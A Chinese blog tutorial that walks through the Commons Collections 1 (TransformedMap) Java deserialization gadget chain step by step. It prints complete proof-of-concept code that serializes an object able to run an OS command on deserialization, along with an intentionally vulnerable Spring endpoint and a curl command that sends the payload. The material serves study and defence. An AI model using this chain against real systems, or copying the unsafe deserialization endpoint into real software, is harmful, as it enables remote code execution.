Java反序列化-CommonCollections

0x00 前言

这篇文章并不是yso中的cc1的payload,是利用TransformedMap的。这条链是p牛在Java漫谈中提到的

该文章主要参考自p牛和先知社区上的一篇文章:

https://xz.aliyun.com/t/7031#toc-8

p牛-代码审计-Java漫谈

实验环境:jdk:1.7 (8u71之后已修复不可利用)

如果您之前接触过Java反射那么还请继续往下看

Common Collections

0x01 利用链

我们先来看一下Poc,看一下Poc中涉及到的接口和类

package sec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),   // 返回的是getruntime的方法
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open -a Calculator"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformer);
        Map innnerMap = new HashMap();
        innnerMap.put("key","value");
        Map outerMap = TransformedMap.decorate(innnerMap,null,chainedTransformer);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, outerMap);
        // 进行序列化
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("/Users/xxx/Desktop/evil1.bin"));
        outputStream.writeObject(instance);
        outputStream.close();
        // 模拟后端接受到的序列化后的数据 
        FileInputStream fi = new FileInputStream("/Users/xxx/Desktop/evil1.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        fin.readObject();
    }
}

发现Poc中主要涉及 ConstantTransformer , InvokerTransformer , ChainedTransformer ,TransformedMap ,这些类全部实现了Transformer 这个接口

Transformer

Transformer接口中的transform方法要求传入一个对象,并且返回的也是一个对象

public interface Transformer {
    public Object transform(Object input);
}

ConstantTransformer

ConstantTransformer调用transform方法时会直接返回构造函数中传入的对象

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return iConstant;
    }

InvokerTransformer

InvokerTransformer的transform方法中利用了反射,通过反射调用我们传入的类中的方法,所以这类其实就是我们执行恶意命令的核心类

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);  
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

ChainedTransformer

ChainedTransformer类会在构造函数的时候接受 Transformer[] 数组,即列表中的所有元素都要实现 Transformer 接口,同时在transform方法中会对Transformer数组中的元素按照顺序调用transform方法,同时将上一个元素的返回对象作为输入传递给下一个元素的transform方法中

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

ChainedTransformer负责将各个类进行串联(这里偷一张p牛的图

image-20210216100933244

看到这里其实还有很多疑问,没关系只要有一个大致的思路即可,接下来我们慢慢分析

0x02 分析

上面说到InvokerTransformer类是我们执行恶意代码的核心类,那么我们就先从这个类开始看

InvokerTransformer

红框处的代码利用了反射进行调用

image-20210216101144312

那么如果可以控制输入的iMethodName,iParamTypes,iArgs,input就可以利用这个代码进行代码执行,先来看一下我们的利用代码

String methodName = "exec";
Class[] paramTypes = new Class[]{String.class};
Object[] arg = new Object[]{"open -a Calculator"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName,paramTypes,arg);  invokerTransformer.transform(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")));

利用构造函数传入methodName,paramTypes,args 来确定我们调用的方法,参数类型以及参数

这里注意传入的类型分别为 String Class[] Object[] 所以在定义传入参数时需要注意

String methodName = "exec";
Class[] paramTypes = new Class[]{String.class};
Object[] arg = new Object[]{"open -a Calculator"}; // windows这里换成calc.exe即可

image-20210216101833911

将实例传入transform方法,结合之前传入的methodName,paramTypes,args 可进行代码执行

InvokerTransformer invokerTransformer = new InvokerTransformer(methodName,paramTypes,arg);  invokerTransformer.transform(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")));

image-20210216102158864

对反射不是很熟悉的可能看到这里会不是很清楚,这里单独拿出来说一下

Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")
invoke
  1. invoke调用普通方法时,传入的必须是实例化后的类
  2. invoke调用静态方法时,传入类即可

这里利用invoke调用Runtime中的静态getRuntime方法

    private static Runtime currentRuntime = new Runtime();
    public static Runtime getRuntime() {
        return currentRuntime;
    }

这里利用调用静态方法getRuntime返回一个实例化后的Runtime,然后传入InvokerTransformer中的transform方法中

这里主要利用了单例模式,举个例子,数据库连接只需要建立一次,而不是每次用到数据库的时候再新建立一个连接,此时作为开发者就可以将数据库连接使用的类的构造函数设置为私有,然后编写一个静态方法来获取

Runtime类也是单例模式,所以这里我们可以通过getRuntime来获取Runtime对象

最终简单修改一下payload

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
Object obj = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
invokerTransformer.transform(obj);

效果如下:

image-20210216110356222

这里我起一个springboot的服务,作为后端接受

@ResponseBody
@RestController
public class CommonCollections {

    @RequestMapping("/cc1")
    public void cc1(HttpServletRequest request, HttpServletResponse response) throws Exception {
        ServletInputStream inputStream = request.getInputStream();
        ObjectInputStream object =  new ObjectInputStream(inputStream);

        InvokerTransformer invokerTransformer = (InvokerTransformer) object.readObject();
        Object obj = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
        invokerTransformer.transform(obj);
    }
}

利用命令行curl发送我们序列化后的数据

curl "http://localhost:8082/cc1" --data-binary "@/Users/XXX/Desktop/evil.bin"

发现成功跳出了计算器

image-20210216110840440

但是这里存在一个很明显的问题

我们来看我们后端的代码,来看红框处的代码,如果我们的payload要触发后端一定要符合三个要求

  1. 写一个payload ,即服务端要构造恶意的input
  2. 将反序列化后的对象转换成 InvokerTransformer 类型
  3. 将条件2的payload作为输入传入transform方法并且执行这个方法

image-20210216165935267

所以条件非常的苛刻,可以说是在实际环境中根本不可能触发,所以需要别的类来一个个解决这些问题

我们先来尝试解决payload生成的问题,尝试在客户端生成我们的payload

客户端生成payload

在上面提到过这个类,这个类的transform方法会将对象原封不动的进行返回

  • ConstantTransformer
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return iConstant;
    }

但是仅仅这一个类不够,因为反序列化中是将构造好的单个对象进行序列化发送到后端,这里如果我们又要用到ConstantTransformer和InvokerTransformer肯定是不够的,我们需要一个类将前面这两个类串联起来,也就是我们上面提到的

  • ChainedTransformer

ChainedTransformer能将实现了Transformer接口的类进行串联,并且依次调用其中的transform方法传递给下一个元素

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

那么结合这三个我们就可以开始构造我们的payload了

首先创建Transformer[] 数组

Transformer[] transformers = new Transformer[]{};

然后将ConstantTransformer 和 InvokerTransformer 作为元素传入

Runtime.getRuntime() 会返回一个Runtime对象,然后利用ConstantTransformer的transform方法直接返回,作为输入传递给InvokerTransformer,利用反射调用Runtime对象中的exec方法进行命令执行

  Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };

将前面的Transformer数组传入ChainedTransformer,并且调用transform

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(111);

ps:由于ConstantTransformer类中的transform方法的输入并不会影响输出,所以chainedTransformer.transform(111);可以传入入任意数值

image-20210216171745666

完整的payload:

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(111);
        FileOutputStream fileOutputStream = new FileOutputStream("/Users/xxxx/Desktop/evil.bin");
        ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
        outputStream.writeObject(chainedTransformer);

        Object obj = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
        chainedTransformer.transform(obj);

但是发现在执行过程中,我们的恶意代码能够执行成功弹出了计算器,但是发现有报错,提示Runtime类无法进行序列化

如下图:

image-20210217085416650

在Java中对象如果要序列化那么必须要继承自Serializable,例如

image-20210216172917734

所以我们无法在客户端中写入Runtime实例

服务端生成payload

上面的方法不行想着能不能在服务端中进行生成,利用InvokerTransformer的反射调用getRuntime方法返回Runtime实例,同时getRuntime又是静态方法,invoke调用我们只需要传入Runtime类即可

由于getRuntime不需要传入参数所以我们只需要传入一个空的Object数组即可

 public static Runtime getRuntime() {
        return currentRuntime;
    }
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(111);

但是在执行之后发现是有问题的,我们明明传入的是Runtime类呀为什么报错会提示在java.lang.Class类中找不到该方法

image-20210216174556126

打断点发现,我们传入的为java.lang.Runtime 但是在经过 input.getClass之后返回的是 java.lang.Class,所以导致出现了之前的报错

image-20210216174755791

getClass() :获取运行对象的类

查看对应的资料发现 getClass()根据传入参数的不同返回数据也会有不同

  1. 如果传入的是对象, 那么返回的就是当前对象的类
  2. 如果传入的是类,那么返回的就是 java.lang.Class

image-20210216175247035

如果我们要在服务端生成我们的payload执行恶意命令,必须要调用Runtime实例中的exec方法,所以这个方法也是不行

利用反射

如果我们利用反射获取Runtime中的getRuntime然后进行执行那么就可以返回Runtime的实例

上面我们已经知道了在经过 Class cls = input.getClass(); 之后返回的只会是java.lang.Class,那么我们可以利用Class中的getMethod来获取Runtime中的getRuntime方法,然后再利用反射中调用invoke进行执行,从而返回Runtime实例

我们结合Poc来一条条分析:

        Transformer[] transformer = new Transformer[]{
                // 返回 java.lang.Runtime
                new ConstantTransformer(Runtime.class),
                // getClass获取到传入到runtime 会变成 java.lang.class 利用 java.lang.class 中的 getMethod 获取getRuntime
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),   // 返回的是getruntime的方法
                // 上面返回的应该是getRuntime的这个静态方法 获取反射类中的invoke类执行getRuntime
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                // 调用返回实例中的exec
                new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open -a Calculator"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(111);
Constant

new ConstantTransformer(Runtime.class)

ConstantTransformer.transform会原封不动的返回Runtime类(java.lang.Runtime),并且作为input传入InvokerTransformer的transform方法中

Invoker1
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]})

利用反射获取java.lang.Class中的getMethod方法,然后利用获取到的getMethod方法获取我们传入的Runtime类中的getRuntime方法,类型为Method (java.lang.reflect.Method)

(ConstantTransformer返回的Runtime类作为input传入InvokerTransformer.transform方法)

由于这里是获取静态方法getRuntime,所以在使用invoke的时候只需要传入类即可

image-20210216193913511

之前一直没有想明白这里的new Class[0] ,其实这里只是占位符号,由于getRuntime函数不需要传入参数所以这里改为null也可以

image-20210216194717929

但是为什么占位符是 new Class[0] 呢? 因为这里是通过getMethod来获取getRuntime方法的,所以我们这里需要满足getMethod传入的参数类型要求

第一个是String,第二个是可变长度的Class类型的数据即可

image-20210216194955398

为了更明显些,我将InvokerTransformer.transform反射调用的过程单独拿了出来

                // 等效于 ConstantTransformer
                Class Constant = Runtime.class;
        // 等效于invoker
        Class aClass = Constant.getClass();  // aClass 返回 java.lang.Class
        Method method = aClass.getMethod("getMethod",new Class[]{String.class,Class[].class});  // 获取java.lang.class中的getMethod
        Object obj1 = method.invoke(Constant,new Object[]{"getRuntime",new Class[0]}); // 根据之前的input获取Runtime类中的getRuntime并进行返回
        // 返回静态方法
        System.out.println(obj1);

通过断点分析可以发现返回的是Method类型的静态方法

image-20210216195551367

Invoker2
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null})

由于传入的是Method对象,所以这里getClass获取java.lang.reflect.Method(当前对象的类),利用反射获取Method类中的invoke方法,然后利用获取到的invoke方法执行前面获取到的getRuntime静态方法,从而返回Runtime对象

image-20210216200911599

这里有可能有的师傅会有疑问,为什么可以invoke.invoke(input,null)这样调用

invoke.invoke(input) 和 input.invoke是等效的,我这里写了一个小Demo分别代表了invoke.invoke和input.invoke,这里两个都是可以触发计算器的

        // input
                Method method  = Class.forName("java.lang.Runtime").getMethod("getRuntime");
        // invoke.invoke(input,..)
        Runtime obj = (Runtime) Class.forName("java.lang.reflect.Method").getMethod("invoke", Object.class, Object[].class).invoke(method,new Object[]{null,null});
        obj.exec("open -a Calculator");  // windows替换为calc.exe
                // input.invoke(...)
        Runtime runtime =  (Runtime) method.invoke(null,null);
        runtime.exec("open -a Calculator");
Invoker3
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open -a Calculator"})

Runtime实例作为输入,getClass获取到Runtime类(当前对象所在的类),然后利用反射获取Runtime类中的exec方法,最后利用invoke调用,此时invoke传入的input为Runtime对象,iArgs为我们要执行的命令

image-20210216210707024

这样层层相扣我们就能进行命令执行了(真的很巧妙)

最后为了更好的理解,我这里将这一部分执行的流程抽离出来

        // 等效于 ConstantTransformer
        Class Constant = Runtime.class; // 直接返回java.lang.Runtime

        // 等效于invoker1
        Class aClass = Constant.getClass();  // aClass 返回 java.lang.Class
        Method method = aClass.getMethod("getMethod",new Class[]{String.class,Class[].class});  // 获取java.lang.class中的getMethod
        Object obj1 = method.invoke(Constant,new Object[]{"getRuntime",new Class[0]}); // 根据之前的input 获取Runtime类中的getRuntime并进行返回
        // 返回静态方法 Method
        System.out.println(obj1);

        // 等效于invoker2
        Class claz = obj1.getClass();   // 返回的为java.lang.reflect.Method类型,claz 为 reflect.Method
        Method method1 = claz.getMethod("invoke", Object.class, Object[].class);  // 获取java.lang.reflect.Method 类中的invoke方法
        Object obj = method1.invoke(obj1,new Object[]{null,null}); // 调用之前传递过来的getRuntime静态方法,返回实例化后的Runtime
        // 等效于invoker3
        Class cls = obj.getClass();             // 返回Runtime类
        Method method2 = cls.getMethod("exec", String.class);   // 反射获取Runtime类中的exec方法
        method2.invoke(obj, new Object[]{"open -a Calculator"});   // obj即为实例化后的Runtime对象
        // 等效于invoker4
        Runtime object = (Runtime) Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
        object.exec("open -a Calculator");

Poc如下:

Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),   
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open -a Calculator"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(111);

TransformedMap

上面我们将payload在客户端生成的问题解决了, 但是我们可以看到在后端的代码中(红框部分) 我们仍然需要将对象转换成ChainedTransformer类型然后再调用transform才可以,这样其实利用范围还是比较小,我们需要更加扩大一下范围才行

image-20210216212554479

这时候需要利用到 TransformedMap ,TransformedMap会对Map进行一个修饰,被修饰之后的map会在添加新元素之后进行一个回调,能分别对key和value进行修饰,当调用put方法时会调用decorate方法中传入类的transformer方法,从而进行触发

decorate将chainedTransformer传递给构造函数

Map transformedMap = TransformedMap.decorate(map,chainedTransformer,null);
  public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

构造函数将decorate将接受到的数值赋值给valueTransformer,keyTransformer,这里也就是将chainedTransformer赋给了keyTransformer

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

然后当利用put修改数值的时候,会将Key和Value传入transformKey和transformValue

 public Object put(Object key, Object value) {
        key = transformKey(key);
        value = transformValue(value);
        return getMap().put(key, value);
    }

跟进发现这两个方法分别会触发keyTransformer和valueTransformer的transform方法,此时的keyTransformer就是我们之前传入的chainedTransformer,从而调用了chainedTransformer的transform方法,导致

   protected Object transformKey(Object object) {
        if (keyTransformer == null) {
            return object;
        }
        return keyTransformer.transform(object);
    }
    protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }

Poc:

       Transformer[] transformer = new Transformer[]{
                // 返回 java.lang.Runtime
                new ConstantTransformer(Runtime.class),
                // getClass获取到传入到runtime 会变成 java.lang.class 利用 java.lang.class 中的 getMethod 获取getRuntime
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),   // 返回的是getruntime的方法
                // 上面返回的应该是getRuntime的这个静态方法 获取反射类中的invoke类执行getRuntime
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                // 调用返回实例中的exec
                new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open -a Calculator"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformer);
        Map map = new HashMap();
        Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
        FileOutputStream fileOutputStream = new FileOutputStream("/Users/xxx/Desktop/evil.bin");
        ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
        outputStream.writeObject(transformedMap);

后端测试代码:

@ResponseBody
@RestController
public class CommonCollections {

    @RequestMapping("/cc1")
    public void cc1(HttpServletRequest request, HttpServletResponse response) throws Exception {
        ServletInputStream inputStream = request.getInputStream();
        ObjectInputStream object =  new ObjectInputStream(inputStream);

        Map map = (Map) object.readObject();
        map.put("123","123");

      //也可以获取map键值对,修改value,value为value,foobar,触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar");
    }
}

这样看起来是不是更加容易触发了一些,开发者只需要对反序列化后的对象转换成Map,然后修改map即可

image-20210218105043295

AnnotationInvocationHandler

上面的触发条件已经比较容易触发了,但是仍然需要服务端将反序列化后的对象转化成Map类型,并且对其的数值进行修改,虽然这个操作已经比较常见了,但是符合我们要求的反序列化攻击最好是客户端执行readObject就直接触发执行命令

重新梳理一下如果要反序列化之后直接触发那么就需要寻找一个类其readObject方法调用之后会对Map中的数值进行操作

在jdk 1.7 中有一个存在一个可利用的readObject点 sun.reflect.annotation.AnnotationInvocationHandler

我们先来看这个AnnotationInvocationHandler的构造函数,发现构造函数会将我们传入的Map类型的参数赋值给memberValues属性

image-20210217103600433

接下来我们来看readObject方法,发现会遍历我们的memberValues,同时memberValues就是我们传入的Map

这里会取出我们Map中的key,然后根据Key去找对应的Class,然后如果var7不为null就会对Map的值进行修改

image-20210217103832733

最终利用Poc

        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),   // 返回的是getruntime的方法
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open -a Calculator"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformer);
        Map innnerMap = new HashMap();
        innnerMap.put("value","value");
        Map outerMap = TransformedMap.decorate(innnerMap,null,chainedTransformer);
        //反射机制调用AnnotationInvocationHandler类的构造函数
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        //获取AnnotationInvocationHandler类实例
        Object instance = ctor.newInstance(Target.class, outerMap);

这里利用反射获取AnnotationInvocationHandler,并且利用构造器进行实例化

由于AnnotationInvocationHandler的构造函数,需要参数的传入,所以需要传入 Class.class 和 Map.class

利用newInstance进行AnnotationInvocationHandler类的实例化,由于在构造函数中利用范型规定来传入的Class类型必须要继承自注解(Annotation) 所以我们在newInstance需要传入注解,Poc里传入的是元注解(Target.class)

image-20210217212031090

不过这个Poc中有个需要注意的点,这里第一个参数必须是value,如果不是value的话则无法进行触发

innnerMap.put("value","value");

先来看一下我们传入的注解

此处借鉴:https://xz.aliyun.com/t/7031#toc-10

@Documented//会被写入javadoc文档
@Retention(RetentionPolicy.RUNTIME)//生命周期时运行时
@Target(ElementType.ANNOTATION_TYPE)//标明注解可以用于注解声明(应用于另一个注解上)
public @interface Target {
    ElementType[] value();//注解元素,即传入为value=xxxx
}

如果我们将value改成test,我们打断点来分析一下

首先构造函数将我们的注解赋值给type

image-20210217221345493

然后在readObject中

AnnotationType.getInstance(this.type)会获取我们注解的基本信息(Target),this.type为之前我们传入的注解,并且赋值给var2

image-20210217221458569

image-20210218102122891

var3会获取var2中的Member types中的数值,即{value=class [Ljava.lang.annotation.ElementType;}

var6为我们之前Map中的Key也就是我们这里的test,然后var7会根据var6的数值,在var3中寻找和var6相同的Key值,然后取出对应的Value,如果找不到则返回null

这里我们var6为test,var3为{value=class [Ljava.lang.annotation.ElementType;},var7在var3中寻找数值为test的key,自然是找不到的所以返回了null给var7,这样就不会进入if判断故无法对Map进行修改,从而导致命令执行失败

image-20210217231110734

那么这里的注解是所有的都可以吗?不是,需要满足一些条件

  1. 传入的注解需要存在memberTypes(即要存在注解元素名)

举个例子:

我们将payload中的Target注解替换成Documented注解

image-20210217233435072

同样的利用断点debug,发现此事Member types为空那么自然var3就为空了,自然的var7就为空了

image-20210217233553174

那么我们换回Target看一下有什么区别

发现Target注解中存在Member types 所以var3就不为空

image-20210217233728602

  1. 我们Poc中的key一定要与memberValues中的key相同,不然就会出现上面的情况导致找不到var7从而无法进入if判断

即下图红框处必须相同

image-20210218094621341

image-20210218094559992

同样的这里我们换成Retention.class也是可以的

最终我们的Poc如下:

package sec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Documented;
import java.lang.annotation.Inherited;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CommonCollections {
    public static void main(String[] args) throws Exception {
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),   
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open -a Calculator"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformer);
        Map innnerMap = new HashMap();
        innnerMap.put("value","value");
        Map outerMap = TransformedMap.decorate(innnerMap,null,chainedTransformer);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, outerMap);
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("/Users/xxxx/Desktop/evil1.bin"));
        outputStream.writeObject(instance);
        outputStream.close();
    }
}

0x03 为什么1.8中不行

image-20210217234650079

改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去,即不会对原先的map进行数值修改的操作了,也就不会触发RCE了

0x04 总结

这篇文章前前后后写了两天,写的过程中将自己遇到的问题都写进去了希望能帮助到师傅们

同时如果有问题存在还望师傅们指正

最后感谢两位前辈的文章

https://xz.aliyun.com/t/7031#toc-8

p牛 代码审计 Java漫谈

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注